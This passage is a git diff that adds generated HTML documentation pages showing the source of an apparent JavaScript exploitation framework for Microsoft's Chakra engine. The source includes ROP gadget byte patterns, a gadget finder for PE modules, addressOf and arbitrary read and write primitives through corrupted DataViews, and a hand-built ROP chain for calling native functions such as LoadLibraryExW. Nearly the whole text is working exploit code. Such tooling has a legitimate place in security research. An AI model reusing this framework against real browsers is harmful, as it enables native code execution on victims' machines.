+        return new FunctionType(returnType).cast(getProcAddress(libraries[dllName], funcName));
+    }
+
+    var pointerProxyHandler = {
+        get: function(target, property) {
+            try {
+                var idx = parseInt(property);
+            } catch (e) {
+                return target[property];
+            }
+            if (isNaN(idx)) {
+                return target[property];
+            } else {
+                return target.add(idx).load();
+            }
+        },
+        set: function(target, property, value) {
+            try {
+                var idx = parseInt(property);
+            } catch (e) {
+                target[property] = value;
+            }
+            if (isNaN(idx)) {
+                target[property] = value;
+            } else {
+                target.add(idx).store(value);
+            }
+        },
+    };
+
+    /**
+     * Constructs a pointer to a certain type.
+     *
+     * @param {Type} base type
+     * @param {Integer} address
+     * @instance
+     * @memberof BaseExploit
+     * @class
+     * @constructor
+     */
+    function Pointer(type, address) {
+        this.type = type;
+        this.address = address;
+        return new Proxy(this, pointerProxyHandler);
+    }
+    Pointer.prototype = {};
+    /**
+     * Returns a new pointer with result of pointer arithmetic.
+     *
+     * @param {Integer|number} x addend
+     * @returns {Pointer}
+     */
+    Pointer.prototype.add = function (x) {
+        return new Pointer(this.type, this.address.add(toIntMax(x).mul(this.type.size)));
+    };
+    /**
+     * Returns the value stored at the pointer address. Alternatively, array syntax is supported.
+     *
+     * @returns {Integer|Pointer}
+     */
+    Pointer.prototype.load = function () {
+        return this.type.load(this.address);
+    };
+    /**
+     * Stores the value at the pointer address. Alternatively, array syntax is supported.
+     *
+     * @param {Integer|Pointer} value
+     */
+    Pointer.prototype.store = function (x) {
+        return this.type.store(this.address, x);
+    };
+    /**
+     * Converts the Pointer to a hexadecimal string.
+     *
+     * @returns {string}
+     */
+    Pointer.prototype.toString = function () {
+        return '&0x' + this.address.toString(16);
+    };
+    /**
+     * Returns whether address is zero.
+     *
+     * @returns {boolean}
+     */
+    Pointer.prototype.isNull = function () {
+        return this.address.eq(0);
+    };
+
+    /** Constructs a pointer to a C string. 
+     *
+     * @param {string} s A string to make into a C string.
+     * @instance
+     * @memberof BaseExploit
+     * @augments Pointer
+     * @class
+     * @constructor
+     */
+    function CString(s) {
+        return Pointer.call(this, Uint8, cString(s));
+    }
+    CString.prototype = Object.create(Pointer.prototype);
+    CString.prototype.constructor = CString;
+
+    /**
+     * Constructs a pointer to a UTF-16 string.
+     * @param {string} s A string to make into a UTF-16 string.
+     * @instance
+     * @memberof BaseExploit
+     * @augments Pointer
+     * @class
+     * @constructor
+     */
+    function WString(s) {
+        return Pointer.call(this, Uint16, wString(s));
+    }
+    WString.prototype = Object.create(Pointer.prototype);
+    WString.prototype.constructor = WString;
+
+    /**
+     * Type base class. Internal.
+     * @instance
+     * @memberof BaseExploit
+     * @class
+     * @constructor
+     */
+    function Type() {
+    }
+    Type.prototype = {
+        /**
+         * Constructs a PointerType of this type.
+         *
+         * @returns {PointerType}
+         */
+        get Ptr () {
+            if (!this._ptr) {
+                this._ptr = new PointerType(this);
+            }
+            return this._ptr;
+        }
+    };
+    Type.prototype.constructor = Type;
+
+    /**
+     * Constructs a pointer type.
+     * @param {Type} base Base type
+     * @instance
+     * @memberof BaseExploit
+     * @augments Type
+     * @class
+     * @constructor
+     */
+    function PointerType(base) {
+        Type.call(this);
+        this.baseType = base;
+        this.alignment = POINTER_SIZE;
+        this.size = POINTER_SIZE;
+    }
+    PointerType.prototype = Object.create(Type.prototype);
+    PointerType.prototype.constructor = PointerType;
+    /**
+     * Create a pointer to the given address with our base type.
+     *
+     * @param {Integer|Pointer} x Memory address
+     * @returns {Pointer}
+     */
+    PointerType.prototype.cast = function (x) {
+        x = toIntMax(x);
+        if (this.baseType instanceof ArrayType) {
+            return new Pointer(this.baseType.baseType, new Integer(x.low, x.high, true, POINTER_SIZE * 8));
+        } else if (this.baseType instanceof StructType) {
+            return new StructPointer(this.baseType, new Integer(x.low, x.high, true, POINTER_SIZE * 8));
+        } else {
+            return new Pointer(this.baseType, new Integer(x.low, x.high, true, POINTER_SIZE * 8));
+        }
+    }
+    PointerType.prototype.load = function (address) {
+        return this.cast(exploit.read(address, POINTER_SIZE * 8));
+    }
+    PointerType.prototype.store = function (address, x) {
+        return exploit.write(address, toIntMax(x), POINTER_SIZE * 8);
+    }
+
+    /**
+     * Constructs a function pointer type.
+     * @param {Type} returnType Type of return value
+     * @instance
+     * @memberof BaseExploit
+     * @augments Type
+     * @class
+     * @constructor
+     */
+    function FunctionType(returnType) {
+        Type.call(this);
+        this.returnType = returnType;
+    }
+    FunctionType.prototype = Object.create(Type.prototype);
+    FunctionType.prototype.constructor = FunctionType;
+    /**
+     * Create a function pointer with the given address. Can be called like a Javascript function.
+     *
+     * @param {Integer|Pointer} x Memory address
+     * @returns {function}
+     */
+    FunctionType.prototype.cast = function (ptr) {
+        var returnType = this.returnType || null;
+        var f = function(...args) {
+            var result = exploit.call(ptr, ...args);
+            if (returnType) {
+                result = returnType.cast(result);
+            }
+            return result;
+        };
+        f.address = ptr;
+        f.toString = function() {
+            return '&0x' + this.address.toString(16);
+        };
+        return f;
+    }
+
+    var structPointerProxyHandler = {
+        get: function(target, property) {
+            var offset = target.type.offsets[property];
+            if (offset !== undefined) {
+                var t = target.type.types[property];
+                var p = new PointerType(t).cast(target.address.add(offset));
+                if (t instanceof ArrayType || t instanceof StructType) {
+                    return p;
+                }
+                return p.load();
+            } else {
+                try {
+                    var idx = parseInt(property);
+                } catch (e) {
+                    return target[property];
+                }
+                if (isNaN(idx)) {
+                    return target[property];
+                } else {
+                    return target.add(idx);
+                }
+            }
+        },
+        set: function(target, property, value) {
+            var offset = target.type.offsets[property];
+            if (offset !== undefined) {
+                var t = target.type.types[property];
+                if (t instanceof StructType) {
+                    throw 'cannot set struct field';
+                }
+                var p = new PointerType(t).cast(target.address.add(offset));
+                p.store(value);
+            } else {
+                try {
+                    var idx = parseInt(property);
+                } catch (e) {
+                    target[property] = value;
+                }
+                if (isNaN(idx)) {
+                    target[property] = value;
+                } else {
+                    throw 'cannot set struct via array syntax';
+                }
+            }
+        },
+    };
+    /**
+     * Constructs a pointer to a structure type. Internal.
+     *
+     * @param {Type} base type
+     * @param {Integer} address
+     * @instance
+     * @memberof BaseExploit
+     * @class
+     * @constructor
+     */
+    function StructPointer(type, address) {
+        this.type = type;
+        this.address = address;
+        return new Proxy(this, structPointerProxyHandler);
+    }
+    StructPointer.prototype = {};
+    StructPointer.prototype.add = function (x) {
+        return new StructPointer(this.type, this.address.add(toIntMax(x).mul(this.type.size)));
+    };
+    StructPointer.prototype.toString = function () {
+        return '&0x' + this.address.toString(16);
+    };
+    /**
+     * Constructs a structure type.
+     * @param {Array} fields Description of structure's fields
+     * @param {integer} [alignment] Override default alignment
+     * @instance
+     * @memberof BaseExploit
+     * @augments Type
+     * @class
+     * @constructor
+     */
+    function StructType(fields, alignment) {
+        Type.call(this);
+        alignment = alignment || DEFAULT_ALIGNMENT;
+        this.fields = fields;
+
+        this.alignment = 0;
+        this.offsets = {};
+        this.types = {};
+        var offset = 0;
+        for (var i = 0; i < fields.length; i++) {
+            var name = fields[i][0], type = fields[i][1];
+            if (this.offsets[name] !== undefined) {
+                throw 'duplicate field name';
+            }
+            var a = Math.min(alignment, type.alignment);
+            this.alignment = Math.max(this.alignment, a);
+            if (offset % a) {
+                offset += a - (offset % a);
+            }
+            this.offsets[name] = offset;
+            this.types[name] = type;
+            offset += type.size;
+        }
+        if (offset == 0) {
+            throw 'empty struct';
+        }
+        if (offset % this.alignment) {
+            offset += this.alignment - (offset % this.alignment);
+        }
+        this.size = offset;
+    }
+    StructType.prototype = Object.create(Type.prototype);
+    StructType.prototype.constructor = StructType;
+
+    /**
+     * Constructs an array type.
+     * @param {Type} base Base type
+     * @param {integer} length Number of array elements
+     * @instance
+     * @memberof BaseExploit
+     * @augments Type
+     * @class
+     * @constructor
+     */
+    function ArrayType(base, length) {
+        Type.call(this);
+        this.baseType = base;
+        this.length = length;
+        this.alignment = this.baseType.alignment;
+        this.size = this.length * this.baseType.size;
+    }
+    ArrayType.prototype = Object.create(Type.prototype);
+    ArrayType.prototype.constructor = ArrayType;
+    ArrayType.prototype.load = function (address) {
+        var result = new Array(this.length);
+        var size = this.baseType.size;
+        for (var i = 0; i < this.length; i++) {
+            result[i] = this.baseType.load(address);
+            address = address.add(size);
+        }
+        return result;
+    }
+    ArrayType.prototype.store = function (address, x) {
+        var size = this.baseType.size;
+        for (var i = 0; i < x.length; i++) {
+            this.baseType.store(address, x[i]);
+            address = address.add(size);
+        }
+    }
+
+    /**
+     * Constructs an integer type. Internal. Use predefined Int and Uint type objects.
+     * @param {integer} bits Bit size
+     * @param {boolean} signed Whether signed or not
+     * @instance
+     * @memberof BaseExploit
+     * @augments Type
+     * @class
+     * @constructor
+     */
+    function IntType(bits, signed) {
+        Type.call(this);
+        this.bits = bits;
+        this.signed = signed;
+        this.alignment = bits / 8;
+        this.size = bits / 8;
+    }
+    IntType.prototype = Object.create(Type.prototype);
+    IntType.prototype.constructor = IntType;
+    IntType.prototype.cast = function (x) {
+        x = toIntMax(x);
+        return new Integer(x.low, x.high, !this.signed, this.bits);
+    }
+    IntType.prototype.load = function (address) {
+        return this.cast(exploit.read(address, this.bits));
+    }
+    IntType.prototype.store = function (address, x) {
+        return exploit.write(address, toIntMax(x), this.bits);
+    }
+
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {IntType}
+     */
+    var Int8 = new IntType(8, true);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {IntType}
+     */
+    var Int16 = new IntType(16, true);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {IntType}
+     */
+    var Int32 = new IntType(32, true);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {IntType}
+     */
+    var Int64 = new IntType(64, true);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {IntType}
+     */
+    var Uint8 = new IntType(8, false);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {IntType}
+     */
+    var Uint16 = new IntType(16, false);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {IntType}
+     */
+    var Uint32 = new IntType(32, false);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {IntType}
+     */
+    var Uint64 = new IntType(64, false);
+
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {PointerType}
+     */
+    var Int8Ptr = new PointerType(Int8);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {PointerType}
+     */
+    var Int16Ptr = new PointerType(Int16);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {PointerType}
+     */
+    var Int32Ptr = new PointerType(Int32);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {PointerType}
+     */
+    var Int64Ptr = new PointerType(Int64);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {PointerType}
+     */
+    var Uint8Ptr = new PointerType(Uint8);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {PointerType}
+     */
+    var Uint16Ptr = new PointerType(Uint16);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {PointerType}
+     */
+    var Uint32Ptr = new PointerType(Uint32);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {PointerType}
+     */
+    var Uint64Ptr = new PointerType(Uint64);
+
+    function toIntMax(x) {
+        if ('object' !== typeof x) {
+            return Integer.fromValue(x);
+        } else if (x instanceof Pointer || x instanceof StructPointer) {
+            return new Integer(x.address.low, x.address.high);
+        } else if (x instanceof Integer) {
+            return new Integer(x.low, x.high);
+        } else {
+            throw 'unhandled type';
+        }
+    }
+
+    Object.assign(this, {
+        importFunction,
+        Pointer,
+        CString,
+        WString,
+        ArrayType,
+        FunctionType,
+        PointerType,
+        StructType,
+        Integer,
+        Int8,
+        Int16,
+        Int32,
+        Int64,
+        Uint8,
+        Uint16,
+        Uint32,
+        Uint64,
+        Int8Ptr,
+        Int16Ptr,
+        Int32Ptr,
+        Int64Ptr,
+        Uint8Ptr,
+        Uint16Ptr,
+        Uint32Ptr,
+        Uint64Ptr,
+    });
+}
+BaseExploit.prototype = {};
+/**
+ * Find the beginning of a PE module given any address in the module.
+ *
+ * @param {Integer} address Any address in the PE module
+ * @returns {Integer}
+ */
+BaseExploit.prototype.findModuleBase = function (address) {
+    address.low &= 0xFFFF0000; // align to 64kb-boundary
+    while (true) {
+        var p = this.Uint8Ptr.cast(address);
+        if (p[0] == 0x4D && p[1] == 0x5A) {
+            var peOffset = this.Uint32Ptr.cast(p.add(0x3C))[0];
+            if (peOffset < 0x1000 && p[peOffset] == 0x50 && p[peOffset.add(1)] == 0x45) {
+                return address;
+            }
+        }
+        address = address.sub(0x10000);
+    }
+}
+/**
+ * Find a set of bytes in a PE module.
+ *
+ * @param {Integer|Pointer} module Base address of PE module
+ * @param {Array} bytes Bytes to locate
+ * @returns {Integer}
+ */
+BaseExploit.prototype.findGadget = function (module, bytes) {
+    var p = this.Uint8Ptr.cast(module);
+    var peOffset = this.Uint32Ptr.cast(p.add(0x3C))[0];
+    var imageSize = this.Uint32Ptr.cast(module.add(peOffset))[20];
+    var bytesLength = bytes.length;
+    var firstByte = bytes[0];
+    for (var i = 0x1000; i < imageSize; i++) {
+        if ((i % 4) == 0) {
+            // Optimization: check for first byte within current 4 bytes
+            var x = this.Uint32Ptr.cast(p.add(i))[0].low;
+            if (((x >>> 0) & 0xFF) != firstByte &&
+              ((x >>> 8) & 0xFF) != firstByte &&
+              ((x >>> 16) & 0xFF) != firstByte &&
+              ((x >>> 24) & 0xFF) != firstByte) {
+                i += 3;
+                continue;
+            }
+        }
+        for (var j = 0; j < bytesLength; j++) {
+            if (bytes[j] != p[i + j]) {
+                break;
+            }
+        }
+        if (j == bytesLength) {
+            return p.add(i);
+        }
+        i += j;
+    }
+    return null;
+}
+/**
+ * Find multiple sets of bytes in a PE module.
+ *
+ * @param {Integer|Pointer} module Base address of PE module
+ * @param {Array} query Array of gadgets to find
+ * @returns {object}
+ */
+BaseExploit.prototype.findGadgets = function (module, query) {
+    var p = this.Uint8Ptr.cast(module);
+    var peOffset = this.Uint32Ptr.cast(p.add(0x3C))[0];
+    var codeSize = this.Uint32Ptr.cast(module.add(peOffset))[7];
+    var array = new Int32Array(codeSize / 4);
+    var address = p.address.add(0x1000);
+    for (var i = 0x1000; i < codeSize; i += 8) {
+        var x = this.read(address, 64);
+        array[i / 4] = x.low;
+        array[i / 4 + 1] = x.high;
+        address.low += 8;
+    }
+
+    var byteArray = new Uint8Array(array.buffer);
+    var gadgets = {};
+    query.forEach((gadget) => {
+        var name = gadget[0], bytes = gadget[1];
+        var idx = 0;
+        while (true) {
+            idx = byteArray.indexOf(bytes[0], idx);
+            if (idx < 0) {
+                throw 'missing gadget ' + name;
+            }
+            for (var j = 1; j < bytes.length; j++) {
+                if (byteArray[idx + j] != bytes[j]) {
+                    break;
+                }
+            }
+            if (j == bytes.length) {
+                break;
+            }
+            idx++;
+        }
+        gadgets[name] = p.add(idx);
+    });
+    return gadgets;
+}
+
+export default BaseExploit;
+
+
+
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + diff --git a/docs/chakraexploit.js.html b/docs/chakraexploit.js.html new file mode 100644 index 0000000..5cbd8f3 --- /dev/null +++ b/docs/chakraexploit.js.html @@ -0,0 +1,382 @@ + + + + + chakraexploit.js - Documentation + + + + + + + + + + + + + + + + +
+ +

chakraexploit.js

+ + + + + + + +
+
+
import BaseExploit from "baseexploit";
+import Integer from "integer";
+
+/**
+ * Constructs an exploit with sensible defaults for Chakra. Child must call initChakra method once read and write methods are available.
+ *
+ * @augments BaseExploit
+ * @class
+ * @constructor
+ */
+function ChakraExploit() {
+    var exploit = this;
+    BaseExploit.call(this, 64);
+
+    /**
+     * Constructs a thread using a Web Worker. The worker script must create a {@link ChakraThreadExploit} object.
+     *
+     * @memberof ChakraExploit
+     * @instance
+     * @class
+     * @constructor
+     */
+    function Thread(url) {
+        var worker = new Worker(url);
+        worker.onmessage = (e) => {
+            if (e.data == 'CHAKRA_EXPLOIT') {
+                var stackLimit = exploit.globalListFirst.load()[exploit.threadContextStackLimit];
+                // Default stack size of web worker
+                //   1 MB
+                var stackSize = 1 * 1024 * 1024;
+                var stackTop = stackLimit.sub(0xc000).add(stackSize);
+                var stk = exploit.Uint64Ptr.cast(stackTop).add(-1);
+                while (!new Integer(0x41424344, 0x10000).eq(stk.load())) {
+                    stk = stk.add(-1);
+                    if (stk.address <= stackTop.sub(0x10000)) {
+                        throw 'unable to find canary';
+                    }
+                }
+                var worker = exploit.Uint64Ptr.cast(stk[1]);
+                var manager = exploit.Uint64Ptr.cast(stk[2]);
+                manager[7] = worker;
+            } else if (this.onmessage) {
+                return this.onmessage(e);
+            }
+        }
+        /**
+         * @memberof ChakraExploit#Thread
+         * @instance
+         * @function onmessage
+         */
+        this.onmessage = null;
+        /**
+         * postMessage to web worker
+         * @function
+         */
+        this.postMessage = worker.postMessage.bind(worker);
+    }
+    this.Thread = Thread;
+}
+ChakraExploit.prototype = Object.create(BaseExploit.prototype);
+ChakraExploit.prototype.constructor = ChakraExploit;
+/**
+ * Initializes Chakra helpers using memory read and write.
+ *
+ * @param {Integer|Pointer} vtable Any address in the chakra DLL
+ */
+ChakraExploit.prototype.initChakra = function (vtable) {
+    this.chakraBase = this.findModuleBase(vtable);
+
+    var gadgets = [
+        ['callLoadLibraryExW', [0x48, 0x8B, 0xC8, 0x33, 0xD2, 0x41, 0xB8, 0x00, 0x08, 0x00, 0x00, 0xFF, 0x15]],
+        ['jmpGetProcAddress', [0x48, 0x8B, 0xC1, 0x48, 0x8B, 0x49, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x0B, 0x48, 0x83, 0xC4, 0x28, 0x48, 0xFF, 0x25]],
+        ['nopReturn', [0xC3]],
+        ['popRaxReturn', [0x58, 0xC3]],
+        ['popRcxReturn', [0x59, 0xC3]],
+        ['popRdxReturn', [0x5A, 0xC3]],
+        ['popRspReturn', [0x5C, 0xC3]],
+        ['popRbpReturn', [0x5D, 0xC3]],
+        ['popRsiReturn', [0x5E, 0xC3]],
+        ['addRsp58Return', [0x48, 0x83, 0xC4, 0x58, 0xC3]],
+        ['storeRaxAtRdxReturn', [0x48, 0x89, 0x02, 0xC3]],
+        ['entrySlice', [0x8B, 0xF8, 0x41, 0x83, 0xFC, 0x02]],
+        ['amd64CallFunction', [0x4C, 0x8B, 0x4E, 0x08, 0x4C, 0x8B, 0x06, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0xD0, 0x48, 0x8B, 0xE5, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3]],
+        ['linkToBeginningThreadContext', [0x48, 0x8B, 0xC4, 0x4C, 0x89, 0x40, 0x18, 0x48, 0x89, 0x50, 0x10, 0x48, 0x89, 0x48, 0x08, 0x48, 0x83, 0x61]],
+    ];
+    this.gadgets = this.findGadgets(this.chakraBase, gadgets);
+    // initialize ThreadContext information
+    this.threadContextPrev = this.gadgets.linkToBeginningThreadContext[18] / 8;
+    this.threadContextNext = this.gadgets.linkToBeginningThreadContext[30] / 8;
+    this.globalListFirst = new this.PointerType(this.Uint64Ptr).cast(this.Uint64.cast(this.gadgets.linkToBeginningThreadContext).add(27).add(this.Int32Ptr.cast(this.gadgets.linkToBeginningThreadContext.add(23))[0]));
+    var p = this.globalListFirst[0];
+    for (var i = 0;; i++) {
+        if ((p[i] & 0xffff) == 0xc000) {
+            break;
+        }
+    }
+    this.threadContextStackLimit = i;
+    // initialize LoadLibraryExW and GetProcAddress
+    var p = this.gadgets.callLoadLibraryExW.add(17).add(this.Int32Ptr.cast(this.gadgets.callLoadLibraryExW.add(13)).load());
+    this.LoadLibraryExW = new this.PointerType(this.Uint8Ptr).cast(p).load();
+    var p = this.gadgets.jmpGetProcAddress.add(23).add(this.Int32Ptr.cast(this.gadgets.jmpGetProcAddress.add(19)).load());
+    this.GetProcAddress = new this.PointerType(this.Uint8Ptr).cast(p).load();
+    // initialize stackTop
+    this.findStackTop();
+    // initialize support for fast addressOf
+    this.locateArray = [{}];
+    this.locateArrayPtr = new this.PointerType(this.Uint64Ptr).cast(this.addressOfSlow(this.locateArray))[5].add(3);
+    if (!this.addressOfSlow(this.locateArray[0]).address.eq(this.locateArrayPtr[0])) {
+        throw 'init of addressOf failed!'
+    }
+}
+/**
+ * Returns the address of a Javascript object.
+ *
+ * @param {*} obj Any Javascript object
+ * @returns {Pointer}
+ */
+ChakraExploit.prototype.addressOf = function (obj) {
+    this.locateArray[0] = obj;
+    return this.locateArrayPtr[0];
+}
+/**
+ * Returns the address of a string. Points to the string's bytes.
+ *
+ * @param {string} s A Javascript string
+ * @returns {Pointer}
+ */
+ChakraExploit.prototype.addressOfString = function (s) {
+    return this.Uint64Ptr.cast(this.addressOf(s).add(0x10)).load();
+}
+ChakraExploit.prototype.findStackTop = function () {
+    if (this.stackTop === undefined) {
+        // Default stack size of browser tab
+        //  10 MB
+        // Default stack size of web worker
+        //   1 MB
+        if ('undefined' !== typeof WorkerGlobalScope) {
+            var stackLimit = this.globalListFirst.load()[this.threadContextStackLimit];
+            var stackSize = 1 * 1024 * 1024;
+        } else {
+            var stackLimit = this.globalListFirst.load()[this.threadContextStackLimit];
+            var stackSize = 10 * 1024 * 1024;
+        }
+        var stackTop = stackLimit.sub(0xc000).add(stackSize);
+        this.stackTop = stackTop;
+    }
+}
+/**
+ * Returns the address of a Javascript object. Internal.
+ *
+ * @param {*} obj Any Javascript object
+ * @returns {Pointer}
+ */
+ChakraExploit.prototype.addressOfSlow = function (obj) {
+    var address;
+    eval('String.prototype.slice').call('', {
+        valueOf: () => {
+            var gadgets = this.gadgets;
+            var stk = this.Uint64Ptr.cast(this.stackTop).add(-1);
+            while (!this.Uint64.cast(gadgets.entrySlice).eq(stk.load())) {
+                stk = stk.add(-1);
+                if (stk.address <= this.stackTop.sub(0x10000)) {
+                    throw 'unable to find entrySlice';
+                }
+            }
+            while (!this.Uint64.cast(gadgets.amd64CallFunction).add(13).eq(stk.load())) {
+                stk = stk.add(1);
+                if (stk.address >= this.stackTop) {
+                    throw 'unable to find amd64CallFunction';
+                }
+            }
+            while (!stk[0].eq(new Integer(0x42424242, 0x10000)) || !stk[2].eq(new Integer(0x41414141, 0x10000))) {
+                stk = stk.add(1);
+                if (stk.address >= this.stackTop) {
+                    throw 'unable to find canaries';
+                }
+            }
+            address = this.Uint8Ptr.cast(stk[1]);
+        }
+    }, 0, 0, 0, obj, 0x42424242, obj, 0x41414141);
+    return address;
+}
+ChakraExploit.prototype.customInt32Array = function (address) {
+    var i32 = new Int32Array(1);
+    var p = this.Uint64Ptr.cast(this.addressOf(i32));
+    p[4] = 0x7FFFFFFF;
+    p[7] = address;
+    return i32;
+}
+/**
+ * Call a function pointer with the given arguments. Used internally by FunctionPointer.
+ *
+ * @param {Integer} address
+ * @param {...Integer} args
+ * @returns {Integer}
+ */
+ChakraExploit.prototype.call = function (address, ...args) {
+    if (args.length > 10) {
+        throw 'too many arguments';
+    }
+    var returnValAddr;
+    eval('String.prototype.slice').call('', {
+        valueOf: () => {
+            var gadgets = this.gadgets;
+            var amd64CallFunction = this.Uint64.cast(gadgets.amd64CallFunction).add(13);
+            var entrySlice = this.Uint64.cast(gadgets.entrySlice);
+            var stackBottom = this.stackTop.sub(0x10000);
+            var stk = this.customInt32Array(stackBottom);
+            for (var i = 0x10000 / 8 - 8; i >= 0; i -= 1) {
+                if (entrySlice.low == stk[i*2] && entrySlice.high == stk[i*2+1]) {
+                    break;
+                }
+            }
+            if (i == 0) {
+                throw 'unable to find entrySlice';
+            }
+            while (amd64CallFunction.low != stk[i*2] || amd64CallFunction.high != stk[i*2+1]) {
+                i++;
+                if (i == 0x10000 / 8) {
+                    throw 'unable to find amd64CallFunction';
+                }
+            }
+            var stk = this.Uint64Ptr.cast(stackBottom.add(i * 8));
+            var savedRbpAddr = stk.add(-2);
+            stk = stk.add(-0x20000 / 8);
+            var i32 = this.customInt32Array(stk);
+            // probe stack
+            for (var i = 0x20; i >= 0; i--) {
+                let x = i32[i * 0x1000 / 4];
+            }
+            // helper for writing Uint64 to Int32Array
+            function write64(i32, i, val) {
+                if (val.address) {
+                    val = val.address;
+                } else {
+                    val = Integer.fromValue(val);
+                }
+                i32[i * 2 + 0] = val.low;
+                i32[i * 2 + 1] = val.high;
+            }
+            // ROP chain
+            // skip saved rbp, rdi, rsi, rbx
+            i = 4;
+            // pop r8 and r9 using code in amd64_CallFunction
+            write64(i32, i, gadgets.popRsiReturn);
+            i++;
+            write64(i32, i, stk);
+            i++;
+            if (args[2] !== undefined)
+                write64(i32, 0, args[2]); // r8
+            if (args[3] !== undefined)
+                write64(i32, 1, args[3]); // r9
+            write64(i32, i, gadgets.popRaxReturn);
+            i++;
+            write64(i32, i, gadgets.nopReturn);
+            i++;
+            write64(i32, i, gadgets.popRbpReturn);
+            i++;
+            write64(i32, i, stk.add(i - 2));
+            i++;
+            write64(i32, i, gadgets.amd64CallFunction);
+            i++;
+            write64(i32, i, gadgets.popRdxReturn);
+            i++;
+            if (args[1] !== undefined)
+                write64(i32, i, args[1]);
+            i++;
+            write64(i32, i, gadgets.popRcxReturn);
+            i++;
+            if (args[0] !== undefined)
+                write64(i32, i, args[0]);
+            i++;
+            write64(i32, i, address);
+            i++;
+            write64(i32, i, gadgets.addRsp58Return);
+            i++;
+            i += 4; // skip 0x20 shadow space
+            if (args[4] !== undefined)
+                write64(i32, i, args[4]);
+            i++;
+            if (args[5] !== undefined)
+                write64(i32, i, args[5]);
+            i++;
+            if (args[6] !== undefined)
+                write64(i32, i, args[6]);
+            i++;
+            if (args[7] !== undefined)
+                write64(i32, i, args[7]);
+            i++;
+            if (args[8] !== undefined)
+                write64(i32, i, args[8]);
+            i++;
+            if (args[9] !== undefined)
+                write64(i32, i, args[9]);
+            i++;
+            if (args[10] !== undefined)
+                write64(i32, i, args[10]);
+            i++;
+            write64(i32, i, gadgets.popRdxReturn);
+            i++;
+            write64(i32, i, stk);
+            i++;
+            write64(i32, i, gadgets.storeRaxAtRdxReturn);
+            i++;
+            write64(i32, i, gadgets.popRaxReturn);
+            i++;
+            write64(i32, i, new Integer(0, 0x40000));
+            i++;
+            write64(i32, i, gadgets.popRbpReturn);
+            i++;
+            write64(i32, i, savedRbpAddr.load());
+            i++;
+            write64(i32, i, gadgets.popRspReturn);
+            i++;
+            write64(i32, i, savedRbpAddr.add(2));
+            i++;
+            savedRbpAddr[0] = stk;
+            returnValAddr = stk;
+        }
+    });
+    return returnValAddr[0];
+}
+
+export default ChakraExploit;
+
+
+
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + diff --git a/docs/chakrathreadexploit.js.html b/docs/chakrathreadexploit.js.html new file mode 100644 index 0000000..3f32ac0 --- /dev/null +++ b/docs/chakrathreadexploit.js.html @@ -0,0 +1,130 @@ + + + + + chakrathreadexploit.js - Documentation + + + + + + + + + + + + + + + + +
+ +

chakrathreadexploit.js

+ + + + + + + +
+
+
import ChakraExploit from "chakraexploit";
+import Integer from "integer";
+
+/**
+ * Constructs an exploit class for a worker script. Used in concert with {@link ChakraExploit#Thread} to support multithreading.
+ *
+ * @augments ChakraExploit
+ * @class
+ * @constructor
+ */
+function ChakraThreadExploit() {
+    ChakraExploit.call(this);
+
+    var dvManager = new DataView(new ArrayBuffer(0x1000));
+    var dvWorker = new DataView(new ArrayBuffer(0x1000));
+    this.dvWorker = dvWorker;
+    this.dvManager = dvManager;
+
+    eval('String.prototype.slice').call('', {
+        valueOf: function () {
+            postMessage('CHAKRA_EXPLOIT');
+            while (dvManager.getInt32(0) == 0) {};
+        }
+    }, 0, 0, 0, 0, 0x41424344, dvWorker, dvManager, 0x41414141);
+    
+    var vtable = new Integer(dvManager.getInt32(0, true), dvManager.getInt32(4, true));
+    this.vtable = vtable;
+    this.chakraBase = this.findModuleBase(vtable);
+    this.initChakra(vtable);
+}
+ChakraThreadExploit.prototype = Object.create(ChakraExploit.prototype);
+ChakraThreadExploit.prototype.constructor = ChakraThreadExploit;
+/**
+ * Arbitrary memory read using corrupted DataView.
+ *
+ * @param {Integer} address Memory address
+ * @param {integer} size Bit size
+ * @returns {Integer}
+ */
+ChakraThreadExploit.prototype.read = function (address, size) {
+    this.dvManager.setInt32(7 * 8, address.low, true);
+    this.dvManager.setInt32(7 * 8 + 4, address.high, true);
+
+    switch (size) {
+        case 8: return new Integer(this.dvWorker.getInt8(0, true), 0, true);
+        case 16: return new Integer(this.dvWorker.getInt16(0, true), 0, true);
+        case 32: return new Integer(this.dvWorker.getInt32(0, true), 0, true);
+        case 64: return new Integer(this.dvWorker.getInt32(0, true), this.dvWorker.getInt32(4, true), true);
+    }
+}
+/**
+ * Arbitrary memory write using corrupted DataView.
+ *
+ * @param {Integer} address Memory address
+ * @param {Integer} value Value to write
+ * @param {integer} size Bit size
+ */
+ChakraThreadExploit.prototype.write = function (address, value, size) {
+    this.dvManager.setInt32(7 * 8, address.low, true);
+    this.dvManager.setInt32(7 * 8 + 4, address.high, true);
+
+    switch (size) {
+        case 8: return this.dvWorker.setInt8(0, value.low|0, true);
+        case 16: return this.dvWorker.setInt16(0, value.low|0, true);
+        case 32: return this.dvWorker.setInt32(0, value.low|0, true);
+        case 64:
+            this.dvWorker.setInt32(0, value.low|0, true);
+            this.dvWorker.setInt32(4, value.high|0, true);
+    }
+}
+
+export default ChakraThreadExploit;
+
+
+
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
